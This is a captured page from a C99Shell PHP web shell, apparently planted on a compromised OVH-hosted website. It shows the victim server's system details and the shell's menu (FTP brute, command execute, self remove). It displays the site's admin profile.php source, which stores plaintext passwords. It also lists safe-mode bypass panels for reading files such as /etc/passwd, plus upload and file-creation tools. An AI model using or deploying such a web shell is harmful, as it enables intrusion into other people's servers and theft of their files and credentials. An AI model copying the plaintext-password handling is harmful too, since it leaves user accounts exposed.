!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm052.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     profil.php (5.86 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once("header.php");
$theTable=TABLE_CONFIG;
$thisPageContent="Profile";
$message="";
    if(isset(
$_REQUEST['valider']) && isset($_GET['todo']) && ($_GET['todo']=="update")){
        
   if(isset(
$_REQUEST['oldpasse']) && trim(stripslashes($_REQUEST['oldpasse']))!="" && isset($_REQUEST['newpasse']) && (trim(stripslashes($_REQUEST['newpasse']))==trim(stripslashes($_REQUEST['rnewpasse']))) && trim(stripslashes($_REQUEST['newpasse']))!=""){
     
$sql "SELECT `passe`, id FROM ".$theTable." WHERE passe = '".mysql_real_escape_string($_REQUEST['oldpasse'])."' and `id`='".$_SESSION['UserId']."'";
    
$row $db->query($sql); 

if(
$db->affected_rows ){
     
$data['passe']=$_REQUEST['newpasse'];
     
     
     if(
$db->update($theTable$data"id='".$_SESSION['UserId']."'")){
     
$message .='<div class="alert alert-success">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Notification de réussite:</strong>Informaions de connexion bien enregistré
                        </div>'
;
     }
    }
    else{
        
$message .='<div class="alert alert-error">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Erreur notification:</strong>l\'encien mot de passe est incorrect.
                        </div>'

    }
}
else{
    
$message .='<div class="alert alert-error">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Erreur notification:</strong>Les modifications  n\'ont pas été enregistré.
                        </div>'
;
}
    
$data['login']=trim($db->escape($_REQUEST['login']));
    
    
//$data['active']= isset($_REQUEST['active']) ? 1 : 0 ;
        
$id$_SESSION['UserId'];
    if(
$db->update($theTable$data"id='$id'")){
        
/*$messagee='<div class="alert alert-success">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Notification de réussite:</strong>  Modifications bien enregistré.
                        </div>';*/
        
}
    
    else{
        
/*$messagee='<div class="alert alert-error">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Erreur notification:</strong>Les modifications  n\'ont pas été enregistré.
                        </div>';*/
        
}
        }
?>
        <script type="text/javascript"> 
$(document).ready(function() {
     $("#usualValidate").validate({
  rules: {
    newpasse: "required",
    rnewpasse: {
      equalTo: "#newpasse",
    }}
  });
});
</script>
</head>

<body>
        <div class="container-fluid">
        <div class="row-fluid">
            <div id="content" class="span10">
            <!-- content starts -->
            <div>
                <ul class="breadcrumb">
                    <li>
                        <a href="./index.php">Accueil</a> <span class="divider">/ <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent.""; }?></span>
                    </li>
                    <div style="float:right"><a href="?logout">Déconnexion</a></div>
                </ul>
            </div>
          
            <div class="row-fluid sortable">
                <div class="box span12">
                    <div class="box-header well" data-original-title>
                        <h2><i class="icon-edit"></i> <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent.""; }?></h2>
                        <div class="span1" style="float:right"><a href="index.php" class="btn btn-success ajax-links" data-rel="tooltip" data-content="" title="Ajouter <?php echo $thisPageContent?>">Retour</a>        </div>
                    </div>
                    </div>
                    <div class="box-content">
                    
                         <?php $sql "SELECT * from `".$theTable."` WHERE id=".$_SESSION['UserId']."";
          
$record $db->query_first($sql);

          if(isset(
$message) && $message!="") echo $message;
        if(isset(
$messagee) && $messagee!="") echo $messagee?>
                        <form class="form-horizontal main" id="usualValidate" action="<?php echo $_SERVER['PHP_SELF']."?action=liste&todo=update";  ?>"  method="post" >
                          <fieldset>
            <?php  idRecord("id"$theTable); ?>
           <input type="hidden" name="page" value="config" />
           <input type="hidden" id="todo" name="todo" value="<?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "add"; else echo "edit"?>" />
           <input type="hidden" name="thetable" value="<?php echo $theTable?>" />
           
                            
                             <div class="control-group">
                                <label class="control-label" for="focusedInput">Login</label>
                                <div class="controls">
                                  <input class="input-xlarge focused required" id="login" name="login"  type="login" placeholder="Login" value="<?php echo $record['login']; ?>">
                                </div>
                              </div>
                            <div class="control-group">
                                <label class="control-label" for="focusedInput">Ancien password </label>
                                <div class="controls">
                                  <input class="input-xlarge focused required" id="oldpasse" name="oldpasse" type="password" placeholder="Ancien password" >
                                </div>
                              </div>

<div class="control-group">
                                <label class="control-label" for="focusedInput">Nouveau password </label>
                                <div class="controls">
                                  <input class="input-xlarge focused required" id="newpasse" name="newpasse" type="password" placeholder="Nouveau password" >
                                </div>
                              </div>
                              <div class="control-group">
                                <label class="control-label" for="focusedInput">Confirmer </label>
                                <div class="controls">
                                  <input class="input-xlarge focused required" id="rnewpasse" name="rnewpasse" type="password" placeholder="Confirmer le mot de passe" >
                                </div>
                              </div>
                              
                              <div class="form-actions">
                              <input type="submit" class="btn btn-primary"  name="valider" value="Valider">
                              <button type="reset" class="btn">Annuler</button>
                            </div>
                          </fieldset>
                        </form>   

                    </div>
                </div><!--/span-->

            </div>
          
            </div><!--/#content.span10-->
                </div><!--/fluid-row-->
                
        <hr>

          <?php require_once("footer.php"); ?>
        
    </div>
    <?php require_once("js.php"); ?>
    
    
        
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0312 ]--